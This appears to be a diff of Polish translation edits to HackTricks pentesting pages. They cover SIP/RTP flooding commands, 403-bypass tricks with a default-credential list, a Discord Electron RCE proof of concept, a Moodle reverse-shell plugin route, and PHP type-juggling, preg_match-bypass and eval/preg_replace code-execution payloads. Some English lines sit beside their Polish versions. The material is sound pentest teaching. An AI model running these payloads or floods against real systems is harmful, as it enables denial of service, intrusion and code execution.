Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/), aby **zeskanować rozmowy** (**`rtpscan.pl`**), wysłać `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawić hałas** w rozmowie (**`rtpflood.pl`**).
### DoS
There are several ways to try to achieve DoS in VoIP servers.
Istnieje kilka sposobów, aby spróbować osiągnąć DoS na serwerach VoIP.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target.
- **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu.
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time.
- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping wykonuje ping SIP, aby zobaczyć czas odpowiedzi serwera.
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
- [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protokołu IAX używanego przez Asterisk.
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania floodingu wiadomości SIP/SDP INVITE przez UDP/IP.
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka dobrze uformowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff).
- [**SIPp**](https://github.com/SIPp/sipp): Umożliwia analizę i generowanie ruchu SIP, więc może być również używane do DoS.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używane do przeprowadzania ataków SIP.
- Fuzzery: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS Vulnerabilities
### Luki w systemie operacyjnym
The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **nie aktualizować ich ponownie** i **vulnerabilities** będą odkrywane z czasem.
Najłatwiejszym sposobem na zainstalowanie oprogramowania takiego jak Asterisk jest pobranie **dystrybucji OS**, która ma je już zainstalowane, takich jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemów mogą **nie aktualizować ich ponownie**, a **luki** będą odkrywane z czasem.
## References
## Odnośniki
- [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
- [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)

View File

@ -6,9 +6,9 @@
Spróbuj użyć **różnych metod** do uzyskania dostępu do pliku: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.
- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksfiltrowanie tych informacji.
- Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać używaną metodę.
- Użyj **metody `TRACE`** i jeśli będziesz miał dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
- Użyj **metody `TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie proxy**, które mogą być przydatne.
## Fuzzing nagłówków HTTP
@ -38,14 +38,14 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście
- Jeśli strona jest **za proxy**, może to proxy uniemożliwiać dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi.
- **Fuzzing specjalnych nagłówków HTTP** podczas fuzzingu **metod HTTP**.
- **Usuń nagłówek Host** i może uda ci się obejść ochronę.
- **Usuń nagłówek Host** i być może będziesz w stanie obejść ochronę.
## Fuzzing **ścieżki**
## Fuzzing **ścieżek**
Jeśli _/path_ jest zablokowane:
- Spróbuj użyć _**/**_**%2e/path \_(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także**\_\*\* /%252e\*\*/path (podwójne kodowanie URL)
- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść sprawdzanie nazwy _/path_
- Spróbuj użyć `/%2e/path` (jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj również `/%252e**/path` (podwójne kodowanie URL)
- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i być może już obejdziesz sprawdzanie nazwy _/path_
- **Inne obejścia ścieżek**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK
@ -93,7 +93,7 @@ Jeśli używasz HTTP/1.1 **spróbuj użyć 1.0** lub nawet przetestuj, czy **obs
## **Brute Force**
- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwę wyzwania CTF?
- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub o nazwie wyzwania CTF?
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Spróbuj podstawowej, digest i autoryzacji NTLM.
```:Common creds
admin admin
@ -105,7 +105,7 @@ root toor
test test
guest guest
```
## Narzędzia automatyczne
## Automatyczne Narzędzia
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)

View File

@ -29,16 +29,16 @@ return 1337
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez pytania o uprawnienia.
Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez wyświetlania monitu o pozwolenie.
Najwyraźniej innym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak `file://127.0.0.1/electron/rce.jar`
## Przykład 2: RCE w aplikacji Discord
## Przykład 2: RCE aplikacji Discord
Przykład z [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, na stronie internetowej.\
Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł _child_process_, ale **znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript** i ingerowanie w wykonanie udostępnionego modułu.
Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą `DiscordNative.nativeModules.requireModule('MODULE-NAME')` w stronie internetowej.\
Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł _child_process_, ale **znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript** i ingerencję w wykonanie udostępnionego modułu.
Poniżej znajduje się PoC. Udało mi się potwierdzić, że aplikacja **calc** jest **wywoływana**, gdy **wywołuję funkcję `getGPUDriverVersions`**, która jest zdefiniowana w module o nazwie "_discord_utils_" z devTools, podczas **nadpisywania `RegExp.prototype.test` i `Array.prototype.join`**.
```javascript
@ -71,9 +71,9 @@ result.nvidia = { error: e.toString() }
return result
}
```
Zwykle _execa_ próbuje wykonać "_nvidia-smi.exe_", który jest określony w zmiennej `nvidiaSmiPath`, jednak z powodu nadpisanego `RegExp.prototype.test` i `Array.prototype.join`, **argument jest zastępowany na "**_**calc**_**" w wewnętrznym przetwarzaniu _execa**\_**.
Zwykle _execa_ próbuje wykonać "_nvidia-smi.exe_", który jest określony w zmiennej `nvidiaSmiPath`, jednak z powodu nadpisanego `RegExp.prototype.test` i `Array.prototype.join`, **argument jest zastępowany na "**_**calc**_**" w wewnętrznym przetwarzaniu _execa**_**.
Specyficznie, argument jest zastępowany przez zmianę następujących dwóch części.
Konkretne, argument jest zastępowany poprzez zmianę następujących dwóch części.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)

View File

@ -1,18 +1,18 @@
# Bezpieczeństwo ImageMagick
# ImageMagick Security
{{#include ../../banners/hacktricks-training.md}}
Sprawdź szczegóły w [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick, wszechstronna biblioteka do przetwarzania obrazów, stawia wyzwanie w konfigurowaniu swojej polityki bezpieczeństwa z powodu rozbudowanych opcji i braku szczegółowej dokumentacji online. Użytkownicy często tworzą polityki na podstawie fragmentarycznych źródeł internetowych, co prowadzi do potencjalnych błędów konfiguracyjnych. Biblioteka obsługuje ogromną liczbę ponad 100 formatów obrazów, co przyczynia się do jej złożoności i profilu podatności, co zostało udowodnione przez historyczne incydenty bezpieczeństwa.
ImageMagick, wszechstronna biblioteka do przetwarzania obrazów, stawia wyzwanie w konfigurowaniu swojej polityki bezpieczeństwa z powodu rozbudowanych opcji i braku szczegółowej dokumentacji online. Użytkownicy często tworzą polityki na podstawie fragmentarycznych źródeł internetowych, co prowadzi do potencjalnych błędów w konfiguracji. Biblioteka obsługuje ogromną liczbę ponad 100 formatów obrazów, z których każdy przyczynia się do jej złożoności i profilu podatności, co zostało udowodnione przez historyczne incydenty bezpieczeństwa.
## W kierunku bezpieczniejszych polityk
Aby sprostać tym wyzwaniom, [opracowano narzędzie](https://imagemagick-secevaluator.doyensec.com/), które ma pomóc w projektowaniu i audytowaniu polityk bezpieczeństwa ImageMagick. Narzędzie to opiera się na szerokich badaniach i ma na celu zapewnienie, że polityki są nie tylko solidne, ale także wolne od luk, które mogłyby być wykorzystane.
## Podejście do listy dozwolonej vs lista zabroniona
## Podejście Allowlist vs Denylist
Historycznie, polityki ImageMagick opierały się na podejściu do listy zabronionej, w którym dostęp odmawiano konkretnym kodom. Jednak zmiany w ImageMagick 6.9.7-7 zmieniły ten paradygmat, umożliwiając podejście do listy dozwolonej. To podejście najpierw odmawia dostępu wszystkim kodom, a następnie selektywnie przyznaje dostęp zaufanym, co zwiększa bezpieczeństwo.
Historycznie, polityki ImageMagick opierały się na podejściu denylist, w którym dostęp do konkretnych kodów był zabroniony. Jednak zmiany w ImageMagick 6.9.7-7 zmieniły ten paradygmat, umożliwiając podejście allowlist. To podejście najpierw odmawia dostępu wszystkim kodom, a następnie selektywnie przyznaje dostęp zaufanym, co zwiększa bezpieczeństwo.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
@ -21,7 +21,7 @@ Historycznie, polityki ImageMagick opierały się na podejściu do listy zabroni
```
## Wrażliwość na wielkość liter w politykach
Ważne jest, aby zauważyć, że wzorce polityk w ImageMagick są wrażliwe na wielkość liter. Dlatego zapewnienie, że programiści i moduły są poprawnie zapisane wielką literą w politykach, jest kluczowe, aby zapobiec niezamierzonym uprawnieniom.
Ważne jest, aby zauważyć, że wzorce polityk w ImageMagick są wrażliwe na wielkość liter. Dlatego zapewnienie, że programiści i moduły są poprawnie zapisane wielkimi literami w politykach, jest kluczowe, aby zapobiec niezamierzonym uprawnieniom.
## Limity zasobów
@ -33,14 +33,14 @@ Polityki mogą być fragmentowane w różnych instalacjach ImageMagick, co prowa
```shell
$ find / -iname policy.xml
```
## Szablon Restrykcyjnej Polityki
## Polityka Startowa, Ograniczająca
Zaproponowano szablon restrykcyjnej polityki, koncentrujący się na surowych ograniczeniach zasobów i kontrolach dostępu. Szablon ten służy jako punkt wyjścia do opracowywania dostosowanych polityk, które odpowiadają specyficznym wymaganiom aplikacji.
Zaproponowano szablon polityki ograniczającej, koncentrujący się na surowych ograniczeniach zasobów i kontrolach dostępu. Szablon ten służy jako punkt wyjścia do opracowywania dostosowanych polityk, które odpowiadają specyficznym wymaganiom aplikacji.
Skuteczność polityki bezpieczeństwa można potwierdzić za pomocą polecenia `identify -list policy` w ImageMagick. Dodatkowo, narzędzie [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) wspomniane wcześniej może być użyte do udoskonalenia polityki w oparciu o indywidualne potrzeby.
## Odniesienia
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -66,11 +66,11 @@ Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowan
## **RCE**
Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**\*\*:\*\*
Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**:
![](<../../images/image (630).png>)
Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć, jak to działa w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć jak w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Następnie możesz **zainstalować następującą wtyczkę**, która zawiera klasyczny pentest-monkey php r**ev shell** (_przed przesłaniem musisz ją rozpakować, zmienić IP i port revshell i ponownie skompresować_)
@ -78,7 +78,7 @@ Następnie możesz **zainstalować następującą wtyczkę**, która zawiera kla
moodle-rce-plugin.zip
{{#endfile}}
Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać regularny shell PHP z parametrem "cmd".
Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać zwykły powłokę PHP z parametrem "cmd".
Aby uzyskać dostęp do uruchomienia złośliwej wtyczki, musisz uzyskać dostęp do:
```bash

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Cookies wspólna lokalizacja:
## Typowe lokalizacje ciasteczek:
To również dotyczy ciasteczek phpMyAdmin.
@ -33,17 +33,17 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dec lub hex mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
- `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
- `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" i niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0
Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
**Typ Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
**Typ Juggling** wpływa również na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -64,17 +64,17 @@ Ten sam błąd występuje z `strcasecmp()`
### Ścisłe rzutowanie typów
Nawet jeśli `===` jest **używane**, mogą wystąpić błędy, które sprawiają, że **porównanie jest podatne** na **rzutowanie typów**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
Nawet jeśli `===` **jest używane**, mogą wystąpić błędy, które sprawiają, że **porównanie jest podatne** na **rzutowanie typów**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** może być używane do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
**`preg_match()`** może być użyty do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
#### Ominięcie nowej linii
Jednakże, przy delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść tę kontrolę. Przykład:
Jednakże, podczas delimitacji początku regexp `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść to sprawdzenie. Przykład:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -98,7 +98,7 @@ Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://
#### **Obejście błędu długości**
(To obejście było podobno testowane na PHP 5.2.5 i nie mogłem go uruchomić na PHP 7.3.15)\
Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** kontrolę. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -110,9 +110,9 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawia się ten problem. Nasze zadanie było teraz jasne:\
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flag :)**.
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
@ -120,7 +120,7 @@ Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do pr
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Typ Juggling dla obfuskacji PHP
### Typowe przełączanie typów dla obfuskacji PHP
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -153,17 +153,17 @@ Check:
## More tricks
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne** używane w kodzie.
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że jedna ścieżka **uzyska dostęp do ciasteczka drugiej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2).
- Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
- Jeśli konfiguracja php ma **`register_argc_argv = On`**, to parametry zapytania oddzielone spacjami są używane do wypełnienia tablicy argumentów **`array_keys($_SERVER['argv'])`** tak, jakby były **argumentami z CLI**. To jest interesujące, ponieważ jeśli ta **ustawienie jest wyłączone**, wartość **tablicy args będzie `Null`** gdy jest wywoływana z sieci, ponieważ tablica ars nie będzie wypełniona. Dlatego, jeśli strona internetowa próbuje sprawdzić, czy działa jako narzędzie webowe czy jako narzędzie CLI z porównaniem takim jak `if (empty($_SERVER['argv'])) {`, atakujący mógłby wysłać **parametry w żądaniu GET takie jak `?--configPath=/lalala`** i pomyśli, że działa jako CLI i potencjalnie przetworzy i użyje tych argumentów. Więcej informacji w [oryginalnym artykule](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- Jeśli konfiguracja php ma **`register_argc_argv = On`**, to parametry zapytania oddzielone spacjami są używane do wypełnienia tablicy argumentów **`array_keys($_SERVER['argv'])`** tak, jakby były **argumentami z CLI**. To jest interesujące, ponieważ jeśli **to ustawienie jest wyłączone**, wartość **tablicy args będzie `Null`** gdy jest wywoływana z sieci, ponieważ tablica ars nie będzie wypełniona. Dlatego, jeśli strona internetowa próbuje sprawdzić, czy działa jako narzędzie webowe czy jako narzędzie CLI z porównaniem takim jak `if (empty($_SERVER['argv'])) {`, atakujący mógłby wysłać **parametry w żądaniu GET takie jak `?--configPath=/lalala`** i pomyśli, że działa jako CLI i potencjalnie przetworzy i użyje tych argumentów. Więcej informacji w [oryginalnym artykule](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI i RCE używając wrapperów php**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest takie samo jak PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -175,7 +175,7 @@ True
#### Causing error after setting headers
Z [**tego wątku na twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.
Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.
Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak:
```php
@ -212,7 +212,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\
Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
### **RCE za pomocą Eval()**
```
@ -222,9 +222,9 @@ Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE via Assert()**
### **RCE poprzez Assert()**
